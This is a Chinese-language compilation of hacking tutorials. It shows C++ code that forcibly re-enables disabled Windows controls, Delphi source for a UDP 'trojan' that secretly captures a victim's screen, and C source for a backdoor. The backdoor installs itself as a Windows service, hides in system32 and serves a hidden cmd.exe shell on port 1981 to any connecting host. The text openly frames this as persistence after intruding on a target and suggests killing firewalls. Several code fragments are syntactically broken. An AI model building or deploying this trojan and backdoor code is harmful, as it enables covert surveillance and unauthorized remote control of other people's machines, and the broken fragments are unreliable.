相信在Window按键突破专家没有出来的时候,很多人还不知道软件还可以这样编的吧,本人也是一样,当知道有Window按键突破专家这个软件时,仔细去想一下它的实现原理,才突然恍然大悟,原来原理居然是这么的简单,为什么以前我就没有想到呢。
好了,不说那么多废话,直接进入主题,我先是说说按键突破的原理。实现按键突破的其实就是EnableWindow这个函数。
BOOL EnableWindow(
HWND hWnd,
BOOL bEnable
);
hWnd 指定将要启用或者禁用的窗口的句柄;
bEnable 若为TRUE则启用窗口,为FALSE则禁用窗口。
只要把EnableWindow的第二个参数设置为TRUE,第一个参数填控件的句柄就将原来被禁止的控件重新变为可用。
现在的主要的问题是怎么得到控件的句柄,用VC++的朋友,应该都用过Spy++这个强大的工具吧,它可以得到任意控件的句柄,和窗口的类名,看完这篇文章后,读者们也可以自己做一个属于自己的Spy++啦。
先介绍一下RealChildWindowFromPoint这个函数,该函数的功能是用来获取在指定点上的子窗口的句柄。
HWND RealChildWindowFromPoint(
HWND hwndParent, // 父窗口的句柄
POINT ptParentClientCoords // 以客户坐标指定的点
)
返回值:返回其子窗口句柄。
RealChildWindowFromPoint函数只能够查找到由ptParentClientCoords 所得到的子窗口,但是无法得到最深层的窗口,也就是说如果有两个窗口重叠,就无法得到下面的窗口,这样的情况是经常出现的。
“第一个子窗口”的窗口和“最深层的窗口”的复选框窗口就重叠了,如果用 RealChildWindowFromPoint 就只能得到“第一个子窗口”的窗口,而无法的到“最深层的窗口”的复选框,所以只简单的调用这个函数是无法实现Spy++的功能的。
大家来看看这个函数,这个函数会将鼠标所在的位置的窗口句柄赋予*phWnd。读者下次想得实现spy++的功能就调用这个函数就可以了。
解释一下,用GetCursorPos得到的鼠标位置,是屏幕的鼠标位置,比如你的分辨率为1024*768,GetCursorPos这个函数得到的就是在1024*768这个屏幕范围的鼠标位置,而客户区窗口坐标,指的是鼠标在一个窗口上的坐标,不同于屏幕坐标。
void GetRealWindow(HWND *phWnd)
{
POINT ptPoint;
HWND hWndTop = NULL;
HWND hWndChild = NULL;
POINT ptCooChild = {0};
//先得到ptPoint指向的(子)窗口,再通过子窗口得到父窗口的句柄
GetCursorPos(&ptPoint);//得到鼠标的位置
hWndTop = ::WindowFromPoint(ptPoint);//获取鼠标包含指定点的窗口的句柄
ptCooChild = ptPoint;
*phWnd = GetParent(hWndTop); //用来获取最上层的父窗口的句柄
::ScreenToClient(*phWnd, &ptCooChild);//该函数将屏幕的一个坐标转换成客户区(窗口)的坐标
//从最上层的窗口开始外下找,只直到找到最地层的窗口
while (TRUE){
hWndChild = RealChildWindowFromPoint(*phWnd, ptCooChild);
if (hWndChild && (hWndChild != *phWnd))
*phWnd = hWndChild;
else
break;
}
}
呵呵,代码不是很多,如果看不懂的话,不要紧,懂得调用这个函数就可以啦。现在要再调用EnableWindow就可以了。
HWND s;
GetRealWindow(&s);
::EnableWindow(s,1);
如果只是运行一次这面的这些语句的话,还是不行的,必须在程序开启突破功能的时候一直运行。所以,
while(1)
{
GetRealWindow(&s);
::EnableWindow(s,1);
Sleep(100);
}
但是,这样的话,问题又来了,就是让程序休息100毫秒,这个程序还是会把所以的cpu都占用完的,总不能因为这一个程序,而把资源的耗尽了,这是谁都不愿意看到的。这时,就必须用到多线程了,对于多线程技术,很多文章都有介绍了的,我就不多说那么多了。
DWORD WINAPI run(LPVOID l)
{
while(k==1)
{
GetRealWindow(&s);
::EnableWindow(s,1);
Sleep(100);
}
ExitThread(dwThreadID);
return 1;
}
先把实现按键突破的语句放在一个新的函数里。里面的这个k,是个全句变量。先在“资源”中添加一个Button按键(只是为了说明问题,所以程序做得很简单)。
void CJiandanwindowDlg::OnButton1()
{
k=1;
CreateThread(NULL,0,run,(LPVOID)i,0,&dwThreadID);
}
当按了一下Button时,就可以开始实现按键突破的功能了。仔细看一下,会发现这个程序和Window按键突破专家有点不同,因为Window按键突破专家在鼠标指向一个窗口时,就会将那个窗口下所有被禁止的控件都变成可用,而本程序,是鼠标指去哪个不可用的控件,那个控件就会编程可用,其他控件不受影响,如果想和Window按键突破专家一样的功能,其实也很简单,只要改一下代码就可以了,读者们自己想想吧。
补充一点:这个程序不能直接在VC++下运行,因为源代码将编译不了,必须去微软的老窝去下载最新的Windows Sdk,安装以后,把所有的.h和.lib拷贝到VC++的相关目录里。Windows sdk有许多有用的函数,建议用VC++的朋友都应该去下载。
黑客技巧之用UDP协议的木马编写方法
木马的一个很重要的功能就是远程监视屏幕,下面的文章讲述了怎样利用UDP协议来实现,而不是我们通常用到的tcp/ip协议,很有特色,值得一学。
一、软硬件要求
Windows95/98对等网,用来监视的计算机(以下简称主控机)和被监视的计算机(以下简称受控机)都必须装有TCP/IP 协议,并正确配置。如没有网络,也可以在一台计算机上进行调试。
二、实现方法
编制两个应用程序,一个为VClient.exe,装在受控机上,另一个为VServer.exe,装在主控机上。VServer.exe指定要监视的受控机的IP地址和将要在受控机屏幕上抓取区域的大小和位置,并发出屏幕抓取指令给VClient.exe,VClient.exe得到指令后,在受控机屏幕上选取指定区域,生成数据流,将其发回主控机,并在主控机上显示出抓取区域的BMP图象。由以上过程可以看出,该方法的关键有二:一是如何在受控机上进行屏幕抓取,二是如何通过TCP/IP协议在两台计算机中传输数据。
UDP(User Datagram Protocol,意为用户报文协议)是Internet上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可*性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。同时,UDP控件不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用UDP协议,使用Delphi 4.0提供的TNMUDP控件。
三、创建演示程序
第一步,编制VClient.exe文件。新建Delphi工程,将默认窗体的Name属性设为“Client”。加入TNMUDP控件,Name属性设为“CUDP”;LocalPort属性设为“1111”,让控件CUDP监视受控机的1111端口,当有数据发送到该口时,触发控件CUDP的OnDataReceived事件;RemotePort属性设为“2222”,当控件CUDP发送数据时,将数据发到主控机的2222口。在implementation后面加入变量定义
const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 发送每一笔数据后剩余的字节数 }
为Client的OnCreate事件添加代码:
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;
为Client的OnDestroy事件添加代码:
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;
为控件CUDP的OnDataReceived事件添加代码:
procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 读取控制码 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]=’show’ then
begin { 控制码前4位为“show”表示主控机发出了抓屏指令 }
if BmpStream.Size=0 then { 没有数据可发,必须截屏生成数据 }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(’:’,TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(’:’,TmpStr)+1,Length(TmpStr) -Pos(’:’,TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(’:’,TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(’:’,TmpStr)+1,Length(TmpStr)-Pos(’:’,TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(’:’,TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(’:’,TmpStr)+1,Length(TmpStr)-Pos’:’,TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); { 截取屏幕 }
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; { FromIP为主控机IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 将数据发到主控机的2222口 }
end;
end;
其中ScreenCap是自定义函数,截取屏幕指定区域,代码如下:
procedure TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC(’DISPLAY’,’’,’’,nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
存为“C:\VClient\ClnUnit.pas”和“C:\VClient\VClient.dpr”,并编译。
第二步,编制VServer.exe文件。
新建Delphi工程,将窗体的Name属性设为“Server”。加入TNMUDP控件,Name属性设为“SUDP”;LocalPort属性设为“2222”,让控件SUDP监视主控机的2222端口,当有数据发送到该口时,触发控件SUDP的OnDataReceived事件;RemotePort属性设为“1111”,当控件SUDP发送数据时,将数据发到受控机的1111口。加入控件Image1,Align属性设为“alClient”;加入控件Button1,Caption属性设为“截屏”;加入控件Label1,Caption属性设为“左:上:右:下”;加入控件Edit1,Text属性设为“0:0:100:100”;加入控件Label2,Caption属性设为“受控机IP地址”;加入控件Edit2,Text属性设为“127.0.0.1”;
在implementation后面加入变量定义
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;
为Server的OnCreate事件添加代码:
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;
为Client的OnDestroy事件添加代码:
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;
为控件Button1的onClick事件添加代码:
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:=’show’+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
为控件SUDP的OnDataReceived事件添加代码:
procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:=’show’+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then { 数据已读完 }
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:=’show’;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;
存为“C:\VServer\SvrUnit.pas”和“C:\VServer\VServer.dpr”,并编译。
四、测试
1、本地机测试:在本地机同时运行Vserver.exe和VClient.exe,利用程序的默认设置,即可实现截屏。查看“控制面板”-“网络”-“TCP/IP”-“IP地址”,将程序的“客户IP地址”设为该地址 ,同样正常运行。
2、远程测试:选一台受控机,运行VClient.exe;另选一台主控机,运行VServer.exe,将“受控机IP地址”即Edit2的内容设为受控机的IP地址,“截屏”即可。以上简要介绍了远程屏幕抓取的实现方法,至于在主控机上一屏同时监视多个受控机,读者可自行完善。以上程序,在Windows98对等网、Delphi 4.0下调试通过。
黑客技巧之自己来做服务级的木马后门
以往大多数的木马/后门都是通过修改系统ini文件(比如Win.ini,System.ini)或修改注册表的RUN值来实现自启动的,还有更简单的是修改Autobat.exe(老大,地球不适合你,你还是回火星吧),但随着网络用户安全意识的提高,连我家旁边卖茶叶蛋的大妈都知道如何对付这些老方法了。为了适应新时代木马后门技术的发展要求,一种利用Windows NT/2000/XP系统服务的后门产生了,现在的WinShell,WinEggDrop等众人皆知的Telnte扩展后门都利用了这种方式。相信很多小菜们对这种后门技术并不了解,所以,我在这里就充个大头,给大家传授教业解解惑吧(受害MM目光呆滞,一脸绝望:有了你们这帮人,天下什么时候才能“无贼”啊?)。
前置原理
Windows NT/2000/XP提供的服务既可以指一种特定的Win32进程,也可以指内核模式的设备驱动程序。操作系统的一个称为“服务控制管理器SCM”的组件被用来装载和控制这两种类型的服务。当然,我们说的服务,是指的前者,即我们可以利用的服务是一个在Windows NT/2000/XP下执行的程序。当我们打开“控制面板管理工具服务”,就可以看到右边有一堆的服务。每一行指定了一个特定服务的属性,包括名称、描述、状态、启动类型、登录方式等。
“服务”本身是Windows NT/2000/XP下客户/服务器软件的合理选择,因为它提供了像Unix下后台程序Daemons(守护进程)的等价物,而且使得创建能够代表权限低的用户进行权限高的操作的程序成为可能。像我们熟知的RPC服务,病毒扫描程序以及备份程序都是很适合作为服务进程。
服务能被我们利用作为后门实现自启动,是因为它有三个很重要的特性:
1. 服务可以被指定为自启动,在利用传统的注册表修改RUN键值,添加ini自启动项等方法的基础上又多了一种选择。
2. 服务可以在任何用户登录前开始运行,我们可以在服务启动时加入杀防火墙的代码。
3. 服务是运行在后台的,如果不注意,天知道什么时候被人家装了后门。
服务大都是由服务控制程序在注册表中维护的一个信息数据库来管理的,每个服务在HKEY_LOCAL_MACHINESystemCurrentControlSetServices中都可以找到相应的一个关键项。服务区别于一般Windows NT/2000/XP程序的主要之处在于服务与服务控制管理程序的合作,在后面的编程中我们将会体会到这一点。
编程实现
一个完整的服务分为安装服务程序,主体服务程序和卸载服务程序。我们先来写服务的主体部分,示例代码如下:
Code:
void main()
{
SERVICE_TABLE_ENTRY ServiceTable[] =
{
{"scuhkr", BDServiceMain},
{NULL, NULL} //"哨兵"
};
//连接到服务控制管理器
StartServiceCtrlDispatcher(ServiceTable);
}
上面代码中,我们先给出了一个SERVICE_TABLE_ENTRY结构数组,每个成员描述了调用进程提供的服务,这里我们只安装了一个服务名为Scuhkr的服务,后面的BDServiceMain()我们称之为服务主函数,通过回调该函数提供了服务入口地址,它原形的参数必须定义成如下形式:
VOID WINAPI BDServiceMain(
DWORD dwArgc, //lpszArgv参数个数
LPTSTR* lpszArgv //该数组第一个的参数指定了服务名,可以在后面被
StartService()来调用
);
SERVICE_TABLE_ENTRY结构数组要求最后一个成员组都为NULL,我们称之为“哨兵”(所有值都为NULL),表示该服务表末尾。一个服务启动后,马上调用StartServiceCtrlDispatcher()通知服务控制程序服务正在执行,并提供服务函数的地址。StartServiceCtrlDispatcher()只需要一个至少有两SERVICE_TABLE_ENTRY结构的数组,它为每个服务启动一个线程,一直等到它们结束才返回。
本程序只提供了一个服务函数BDServiceMain(),下面我们来下完成这个函数的功能,示例代码如下:
void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
DWORD dwThreadId; //存放线程ID
//通过RegisterServiceCtrlHandler()与服务控制程序建立一个通信的协议。
//BDHandler()是我们的服务控制程序,它被可以被用来开始,暂停,恢复,停止服务等控制操作
if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
BDHandler)))
return;
//表示该服务私有
ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
//初始化服务,正在开始
ServiceStatus.dwCurrentState = SERVICE_START_PENDING; //
//服务可以接受的请求,这里我们只接受停止服务请求和暂停恢复请求
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
| SERVICE_ACCEPT_PAUSE_CONTINUE;
//下面几个一般我们不大关心,全为0
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
//必须调用SetServiceStatus()来响应服务控制程序的每次请求通知
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//开始运行服务
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我们用一个事件对象来控制服务的同步
if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
return;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//开线程来启动我们的后门程序
if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0,
&dwThreadId)))
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
WaitForSingleObject(hEvent, INFINITE);
CloseHandle(hThread);
ExitThread(dwThreadId);
CloseHandle(hEvent);
return;
}
上面我们调用了一个服务控制函数BDHandler(),由于只是简单的介绍,我们这里只处理服务停止控制请求的情况,其它暂停、恢复等功能,读者可以自己完善。下面是对BDHandler()的实现代码:
void WINAPI BDHandler(DWORD dwControl)
{
switch(dwControl)
{
case SERVICE_CONTROL_STOP:
//等待后门程序的停止
ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//设时间为激发状态,等待下一个事件的到来
SetEvent(hEvent);
ServiceStatus.dwCurrentState = SERVICE_STOP;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
//停止
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
break;
default:
break;
}
}
服务控制函数搞定了,下面就剩下主体的后门函数了。本程序借用了许多前辈翻写过了无数次的后门程序,通过开一个端口监听,允许任何与该端口连接的远程主机建立信任连接,并提供一个交互式Shell。为了代码清晰,我去掉了错误检查,整个过程很简单,也就不多解释了,代码如下:
DWORD WINAPI MainFn(LPVOID lpParam)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;
WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(1981); //监听端口
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 2);
varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
dowhile((varA || varB) == 0);
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE; //隐藏控制台窗口
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);
strcat(szAPP,"cmd.exe"
//开cmd进程
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!n"
return -1;
}
while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
return 0;
}
//线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
printf("%sn", recv_buff);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}
//线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
varB = 1;
while (true)
return 0;
}
现在我们成功入侵目标主机,在拍屁股走人之前,怎么也要留个后门,方便下次继续。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实很简单,示例代码如下:
// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL, //服务控制管理器句柄
hService = NULL; //服务句柄
char szSysPath[MAX_PATH]=,
szExePath[MAX_PATH]=; //我们要把我们后台执行的程序放在这里,一般就是在admin$system32里,
隐蔽性高
if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主机
NULL, // 要打开的服务控制管理数据库,默认为空
SC_MANAGER_CREATE_SERVICE//创建权限
))==NULL)
{
pirntf("OpenSCManager failedn"
return;
}
GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
strcpy(szExePath, szSysPath);
strcat(szExePath, "scuhkr.exe" //应用程序绝对路径
if ((hService=CreateService(hSCManager, //指向服务控制管理数据库的句柄
"scuhkr", //服务名
"scuhkr backdoor service", //显示用的服务名
SERVICE_ALL_ACCESS, //所有访问权限
SERVICE_WIN32_OWN_PROCESS, //私有类型
SERVICE_DEMAND_START, //自启动类型 SERVICE_ERROR_IGNORE, //忽略错误处理
szExePath, //应用程序路径
NULL,
NULL,
NULL,
NULL,
NULL)) == NULL)
{
printf("%dn", GetLastError());
return;
}
//让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头?
if(StartService(hService, 0, NULL) == FALSE)
{
printf("StartService failed: %dn", GetLastError());
return;
}
printf(“Install service successfullyn ”);
CloseServiceHandle(hService); //关闭服务句柄
CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄
}
一切都写完了,我们在本机上测试一下,先把前面的服务主体程序Scuhkr.exe拷贝到系统目录system32下(如果需要程序自动实现自拷贝的,可以通过CopyFile()来实现,具体怎么做偶就不讲了,相信聪明的你三下五除二就能搞定,确实不行就去找WinShell的源代码来看看吧),然后执行InstallServcie.exe。为了看我们是否安装成功,有两个办法,一是通过控制面板->管理工具->服务,二是利用控制台下系统自带的Sc.exe工具,比如:“sc.exe qc rpcss”。看到安装服务的信息了?是不是很简单呢!